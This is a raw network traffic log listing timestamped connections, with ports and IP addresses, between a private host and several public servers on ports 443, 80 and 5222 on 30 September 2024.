Sep 30, 2024 12:21:05.658710003 CEST	50263	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.659190893 CEST	50264	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:05.659564018 CEST	50263	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.659564972 CEST	50265	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.659579992 CEST	443	50263	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:05.659607887 CEST	443	50265	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.659683943 CEST	50265	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.660687923 CEST	50265	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.660701990 CEST	443	50265	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.662553072 CEST	5222	50262	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:05.663938046 CEST	80	50264	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:05.664031029 CEST	50262	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:05.664036036 CEST	50264	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:05.664216042 CEST	50262	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:05.664678097 CEST	50264	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:05.669264078 CEST	5222	50262	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:05.669794083 CEST	80	50264	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:05.669970989 CEST	50264	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:05.674458981 CEST	443	50250	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:05.674551010 CEST	50250	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.674551010 CEST	50250	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.674751997 CEST	80	50264	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:05.682182074 CEST	443	50249	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.682261944 CEST	50249	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.682261944 CEST	50249	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.695532084 CEST	5222	50252	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:05.695951939 CEST	50252	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:05.700757027 CEST	5222	50260	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:05.700777054 CEST	80	50261	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:05.703396082 CEST	443	50259	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.767330885 CEST	50263	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.771866083 CEST	50264	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:05.771864891 CEST	50262	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:05.773039103 CEST	50265	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.774349928 CEST	50267	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.774372101 CEST	443	50253	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.774390936 CEST	443	50267	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.774405956 CEST	50266	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:05.774405956 CEST	80	50223	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:05.774465084 CEST	50253	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.774465084 CEST	50253	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.774535894 CEST	50223	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:05.774574041 CEST	50267	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.775567055 CEST	50268	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:05.775734901 CEST	50267	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.775755882 CEST	443	50267	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.779431105 CEST	5222	50266	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:05.779706001 CEST	50266	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:05.779706001 CEST	50266	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:05.780375004 CEST	80	50268	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:05.780435085 CEST	50268	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:05.780630112 CEST	50268	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:05.784531116 CEST	5222	50266	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:05.785495043 CEST	80	50268	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:05.785550117 CEST	50268	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:05.790390968 CEST	80	50268	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:05.807410002 CEST	443	50263	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:05.815407991 CEST	443	50265	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.816909075 CEST	80	50264	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:05.816920042 CEST	5222	50262	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:05.817492962 CEST	5222	50255	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:05.817575932 CEST	50255	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:05.864377975 CEST	80	50226	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:05.864804029 CEST	50226	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:05.878623962 CEST	50267	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.878626108 CEST	50266	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:05.878632069 CEST	50268	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:05.880494118 CEST	50270	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.880496025 CEST	50269	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:05.880526066 CEST	443	50270	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.881653070 CEST	50270	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.881654978 CEST	50271	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.881675005 CEST	443	50271	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:05.882333994 CEST	50272	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:05.882338047 CEST	50270	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.882352114 CEST	443	50270	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.882385969 CEST	50271	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.883471012 CEST	50271	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.883483887 CEST	443	50271	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:05.885379076 CEST	5222	50269	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:05.885662079 CEST	50269	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:05.885662079 CEST	50269	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:05.887120008 CEST	80	50272	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:05.887305975 CEST	50272	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:05.887305975 CEST	50272	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:05.890584946 CEST	5222	50269	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:05.891803980 CEST	443	50257	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:05.891896009 CEST	50257	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.891896009 CEST	50257	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.892101049 CEST	80	50272	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:05.892163992 CEST	50272	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:05.896891117 CEST	80	50272	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:05.902952909 CEST	443	50256	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.903084040 CEST	443	50256	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.903179884 CEST	50256	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.903179884 CEST	50256	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.903179884 CEST	50256	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.923404932 CEST	443	50267	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.924810886 CEST	80	50268	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:05.924817085 CEST	5222	50266	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:05.933655977 CEST	5222	50260	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:05.933779955 CEST	50260	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:05.980494976 CEST	80	50230	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:05.980695963 CEST	50230	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:05.991935015 CEST	50271	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:05.995867968 CEST	50269	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:05.995872021 CEST	50272	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:05.997282982 CEST	50270	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.998296022 CEST	50274	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.998296976 CEST	50273	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:05.998326063 CEST	443	50274	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:05.999295950 CEST	50274	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.999301910 CEST	50275	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:05.999506950 CEST	50274	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:05.999516964 CEST	443	50274	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.003194094 CEST	5222	50273	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:06.003276110 CEST	50273	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:06.003496885 CEST	50273	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:06.004153013 CEST	80	50275	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:06.004230022 CEST	50275	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:06.004487038 CEST	50275	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:06.008271933 CEST	5222	50273	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:06.009229898 CEST	80	50275	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:06.009298086 CEST	50275	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:06.014134884 CEST	80	50275	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:06.018397093 CEST	443	50259	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.018493891 CEST	50259	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.018493891 CEST	50259	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.035068035 CEST	5222	50262	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:06.035192013 CEST	50262	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:06.035413980 CEST	443	50271	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:06.043399096 CEST	443	50270	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.044891119 CEST	80	50272	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:06.044909000 CEST	5222	50269	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:06.086914062 CEST	80	50233	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:06.093192101 CEST	50276	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:06.093204021 CEST	50233	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:06.093230009 CEST	443	50276	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:06.094497919 CEST	50276	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:06.094497919 CEST	50276	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:06.094526052 CEST	443	50276	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:06.112441063 CEST	50273	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:06.112449884 CEST	50275	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:06.113744974 CEST	50274	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.114727974 CEST	50277	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:06.114727974 CEST	50278	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.114753008 CEST	443	50278	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.115813971 CEST	50278	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.115824938 CEST	50279	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:06.116970062 CEST	50278	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.116981030 CEST	443	50278	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.119592905 CEST	5222	50277	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:06.119873047 CEST	50277	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:06.119873047 CEST	50277	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:06.120695114 CEST	80	50279	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:06.121391058 CEST	50279	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:06.121391058 CEST	50279	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:06.124810934 CEST	5222	50277	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:06.126197100 CEST	80	50279	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:06.130129099 CEST	443	50265	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.130187035 CEST	50279	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:06.130238056 CEST	50265	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.130238056 CEST	50265	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.135024071 CEST	80	50279	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:06.136363029 CEST	443	50263	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:06.136477947 CEST	50263	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:06.136477947 CEST	50263	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:06.154004097 CEST	5222	50266	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:06.155402899 CEST	443	50274	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.161570072 CEST	50266	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:06.164858103 CEST	80	50275	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:06.164875031 CEST	5222	50273	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:06.193509102 CEST	80	50237	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:06.194067955 CEST	50237	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:06.212789059 CEST	50276	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:06.221862078 CEST	50277	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:06.221997976 CEST	50279	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:06.222385883 CEST	50278	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.223818064 CEST	50280	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:06.223895073 CEST	50281	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.223937988 CEST	443	50281	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.224004984 CEST	50281	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.224781036 CEST	50282	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:06.225027084 CEST	50281	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.225044012 CEST	443	50281	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.228683949 CEST	5222	50280	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:06.229038000 CEST	50280	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:06.229221106 CEST	50280	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:06.229585886 CEST	80	50282	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:06.233051062 CEST	50282	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:06.233206987 CEST	50282	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:06.233922005 CEST	5222	50280	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:06.237931967 CEST	80	50282	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:06.241616011 CEST	50282	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:06.246439934 CEST	80	50282	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:06.251873970 CEST	443	50267	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.251983881 CEST	50267	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.251983881 CEST	50267	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.255378008 CEST	5222	50269	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:06.255574942 CEST	50269	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:06.259403944 CEST	443	50276	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:06.263423920 CEST	443	50278	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.268779039 CEST	80	50279	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:06.268790007 CEST	5222	50277	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:06.325854063 CEST	50280	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:06.325993061 CEST	50281	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.326582909 CEST	50282	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:06.329022884 CEST	50283	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:06.329828024 CEST	50284	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.329876900 CEST	443	50284	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.329965115 CEST	50284	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.330918074 CEST	50284	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.330930948 CEST	443	50284	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.332010984 CEST	50285	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:06.332051992 CEST	443	50285	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:06.332187891 CEST	50285	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:06.333534002 CEST	50285	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:06.333547115 CEST	443	50285	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:06.334187031 CEST	5222	50283	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:06.334239960 CEST	50283	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:06.334527016 CEST	50283	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:06.335038900 CEST	50286	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:06.340059042 CEST	5222	50283	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:06.340640068 CEST	80	50286	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:06.340729952 CEST	50286	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:06.341233015 CEST	443	50271	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:06.341304064 CEST	50271	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:06.341327906 CEST	50271	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:06.341470003 CEST	50286	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:06.347417116 CEST	80	50286	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:06.347475052 CEST	50286	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:06.352340937 CEST	80	50286	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:06.365655899 CEST	443	50270	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.365719080 CEST	50270	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.365745068 CEST	50270	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.367414951 CEST	443	50281	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.374119997 CEST	5222	50273	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:06.374171019 CEST	50273	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:06.376754045 CEST	80	50282	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:06.376773119 CEST	5222	50280	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:06.437561035 CEST	50285	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:06.444729090 CEST	50283	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:06.444880962 CEST	50286	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:06.445164919 CEST	50284	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.447187901 CEST	50287	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:06.447490931 CEST	50288	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.447523117 CEST	443	50288	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.447591066 CEST	50288	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.448281050 CEST	50289	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:06.448791981 CEST	50288	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.448805094 CEST	443	50288	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.479403019 CEST	443	50285	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:06.491394043 CEST	443	50284	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.570837021 CEST	50288	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.611418009 CEST	443	50288	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.656869888 CEST	50290	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:06.659329891 CEST	80	50244	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:06.659382105 CEST	5222	50277	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:06.659451008 CEST	50244	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:06.659456968 CEST	80	50247	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:06.659472942 CEST	50277	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:06.659497023 CEST	50247	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:06.659640074 CEST	5222	50280	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:06.659671068 CEST	80	50251	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:06.659693003 CEST	50280	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:06.659708977 CEST	5222	50287	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:06.659713984 CEST	50251	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:06.659718990 CEST	80	50289	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:06.659756899 CEST	50287	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:06.659802914 CEST	50289	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:06.661801100 CEST	5222	50290	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:06.661871910 CEST	50290	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:06.664386034 CEST	443	50274	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.664441109 CEST	443	50276	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:06.664450884 CEST	50274	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.664480925 CEST	50274	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.664545059 CEST	50276	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:06.664808989 CEST	443	50278	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.664858103 CEST	50276	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:06.664860010 CEST	50278	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.666965008 CEST	50278	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.672616959 CEST	50290	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:06.677489996 CEST	5222	50290	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:06.697906017 CEST	50290	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:06.700748920 CEST	80	50286	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:06.700758934 CEST	5222	50283	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:06.702367067 CEST	443	50281	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.702445030 CEST	50281	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.702469110 CEST	50281	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.731138945 CEST	5222	50283	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:06.731218100 CEST	50283	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:06.738091946 CEST	50291	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:06.739362001 CEST	50292	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.739389896 CEST	443	50292	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.740777969 CEST	50292	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.742726088 CEST	50292	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.742737055 CEST	443	50292	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.744422913 CEST	5222	50291	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:06.744478941 CEST	50293	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:06.744508028 CEST	50291	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:06.744749069 CEST	50291	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:06.746287107 CEST	5222	50290	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:06.749243975 CEST	80	50293	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:06.749316931 CEST	50293	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:06.749473095 CEST	5222	50291	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:06.749502897 CEST	50293	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:06.754300117 CEST	80	50293	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:06.757200003 CEST	50293	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:06.763474941 CEST	80	50293	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:06.776237965 CEST	80	50254	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:06.777612925 CEST	50254	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:06.803086042 CEST	443	50285	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:06.803186893 CEST	50285	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:06.803215981 CEST	50285	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:06.811213017 CEST	443	50284	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.811300039 CEST	50284	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.811321974 CEST	50284	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.812793016 CEST	50291	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:06.812974930 CEST	50292	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.816318989 CEST	50293	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:06.819674015 CEST	50294	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.819768906 CEST	443	50294	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.820324898 CEST	50294	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.821392059 CEST	50294	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:06.821424007 CEST	443	50294	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:06.822318077 CEST	50295	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:06.823827982 CEST	50296	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:06.827042103 CEST	5222	50295	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:06.828535080 CEST	80	50296	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:06.828624964 CEST	50295	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:06.828850985 CEST	50296	80	192.168.2.5	139.144.164.192
